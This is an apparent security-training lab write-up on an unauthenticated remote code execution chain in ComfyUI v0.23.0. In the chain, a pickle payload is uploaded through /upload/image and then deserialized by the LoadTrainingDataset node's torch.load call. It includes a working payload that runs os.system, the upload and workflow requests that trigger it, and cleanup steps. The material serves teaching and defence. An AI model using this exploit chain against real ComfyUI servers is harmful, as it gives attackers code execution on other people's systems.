CVE-2026-68771: ComfyUI Unauthenticated RCE via Pickle Deserialization
Updated August 4, 2026 · Written by PWNMI — see About.
ComfyUI is a widely used node-based interface for building Stable Diffusion workflows — popular enough that it's commonly exposed on a network, sometimes with no authentication in front of it at all, because it's often run as a local or team tool rather than a public-facing service. CVE-2026-68771 doesn't need any of that carelessness to be dangerous, though: it's two bugs in ComfyUI itself, and neither one requires a login.
Affects ComfyUI v0.23.0. No official fix version was published at time of writing; vendor guidance is to load training-shard files with torch.load(..., weights_only=True). Confirmed directly against the real upstream source at comfyanonymous/ComfyUI, tag v0.23.0.
What you'll practice: chaining an unauthenticated file-write primitive with an unrelated unsafe-deserialization sink, understanding why torch.load()'s pickle-based format is a code-execution risk and not just a data-loading detail, and pinning exact dependency versions to reproduce a bug that a newer library default would silently block.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-68771
cd cve-labs/CVE-2026-68771
docker compose up -d --build
No official ComfyUI Docker image exists — this builds directly from the real upstream repository pinned at v0.23.0, CPU-only, so it boots without needing a GPU or any model weights. No ports are published — reach it on its own IP:
IP=$(docker inspect $(docker compose ps -q comfyui) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
Confirm it's up:
curl -s -o /dev/null -w '%{http_code}\n' "http://$IP:8188/"
Understanding the vulnerability
Two independently unremarkable ComfyUI behaviors combine here. First, POST /upload/image — reachable with no authentication — writes whatever bytes it's given to output/<subfolder>/<filename> with no extension or content check at all. It's designed to accept images; nothing about the endpoint actually enforces that.
Second, the LoadTrainingDataset node reads every shard_*.pkl file out of a given output folder and calls torch.load() on each one, with no weights_only=True and no format validation. Python's pickle format isn't a passive data container — deserializing one can execute arbitrary code, because unpickling calls __reduce__ on the objects being reconstructed, and __reduce__ can return literally any callable and arguments. torch.load() uses pickle underneath by default, so calling it on attacker-controlled bytes is equivalent to calling pickle.load() directly.
Neither endpoint is reachable without the other providing what it needs: the upload endpoint doesn't execute anything by itself, and LoadTrainingDataset only processes files that are already sitting on disk. Put them together — upload a malicious pickle disguised as a training shard, then submit a workflow graph that routes through LoadTrainingDataset — and an anonymous network request becomes code execution as the ComfyUI process.
One more detail matters for reproducing this at all: PyTorch 2.6 changed torch.load()'s default to weights_only=True, which blocks arbitrary class deserialization specifically to close off this class of bug. This CVE only exists against PyTorch versions before that default changed — this lab pins torch==2.5.1 for exactly that reason.
Exploitation
Craft a pickle whose __reduce__ runs a shell command, and upload it as a training shard:
python3 -c "
import pickle, os, requests
class Payload:
def __reduce__(self):
return (os.system, (\"id > /tmp/pwned_by_cve68771; hostname >> /tmp/pwned_by_cve68771\",))
data = pickle.dumps(Payload())
requests.post('http://$IP:8188/upload/image', files={
'image': ('shard_0000.pkl', data, 'application/octet-stream')
}, data={'type': 'output', 'subfolder': 'training_dataset'})
"
A 200 with a JSON body echoing the filename, subfolder, and type confirms the write succeeded — the server accepted an arbitrary-content file with a .pkl extension with no complaint.
Now submit a workflow graph that reaches LoadTrainingDataset and wires its output into a real OUTPUT_NODE (SaveLatent), so ComfyUI's graph walker actually executes it rather than skipping an orphaned node:
curl -s -X POST "http://$IP:8188/prompt" -H "Content-Type: application/json" -d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "training_dataset" }
},
"2": {
"class_type": "SaveLatent",
"inputs": { "samples": ["1", 0], "filename_prefix": "x" }
}
}
}'
A 200 with "node_errors": {} means the graph was accepted and queued — it doesn't by itself mean the pickle successfully deserialized. Check the server's own log for the actual deserialization step:
docker compose logs comfyui | tail -30
You'll see the log reach nodes_dataset.py's torch.load(f) call, and — because a training-shard file has more format structure after the pickle header than our payload provides — a RuntimeError: Invalid magic number; corrupt file? immediately after. That error is real, but it's not evidence the attack failed: pickle deserialization (and therefore our injected __reduce__) happens before torch.load() gets far enough to validate the rest of the checkpoint format. Confirm what actually matters — whether the command ran, independent of whether the fake checkpoint "loaded successfully":
docker compose exec comfyui cat /tmp/pwned_by_cve68771
Real id/hostname output confirms it: the command executed as the ComfyUI process, triggered by an anonymous upload and an anonymous workflow submission, no authentication anywhere in the chain.
Cleanup
The proof file is specific to this walkthrough's verification, not something a real attacker would leave behind on purpose:
docker compose exec comfyui rm -f /tmp/pwned_by_cve68771
The uploaded pickle itself is a real artifact this exploit leaves on a genuine target — output/training_dataset/shard_0000.pkl sits on disk until someone removes it, and running the same workflow graph again re-triggers deserialization of whatever is still in that folder:
docker compose exec comfyui rm -f output/training_dataset/shard_0000.pkl
Beyond the uploaded file and its execution side effects, there's no persistent object created — no account, no config change, no database row. What actually needs remediating on a real target is whatever the attacker's real payload did (not this lab's id/hostname proof command), which is outside the scope of this specific bug and has to be assessed case by case.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- An unauthenticated write primitive and an unrelated deserialization sink don't need to be "related" to chain. Neither the upload endpoint nor the training-dataset loader was designed with the other in mind — the vulnerability exists purely because their combination happens to give an attacker a path from "write a file" to "that file gets deserialized."
torch.load()(and any pickle-based loader) is a code-execution primitive on untrusted input, not a data-loading detail. The library's own maintainers agreed strongly enough to change the default —weights_only=Trueas of PyTorch 2.6 — but any code still calling it the old way, or pinned to an older version, inherits the risk.- A visible error after the vulnerable line doesn't mean the vulnerable line didn't run.
RuntimeError: Invalid magic numberlooks like a clean failure. The pickle deserialization — and the attacker's code — already executed by the time that error is raised. Reading a stack trace for "did this fail" isn't the same as reading it for "what already executed before it failed."
Next step
For another lab where an unauthenticated upload endpoint is one half of a two-step chain, see CVE-2025-68613 (n8n). For the general skill of crafting and inspecting requests like the ones used here, see Burp Suite Fundamentals.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.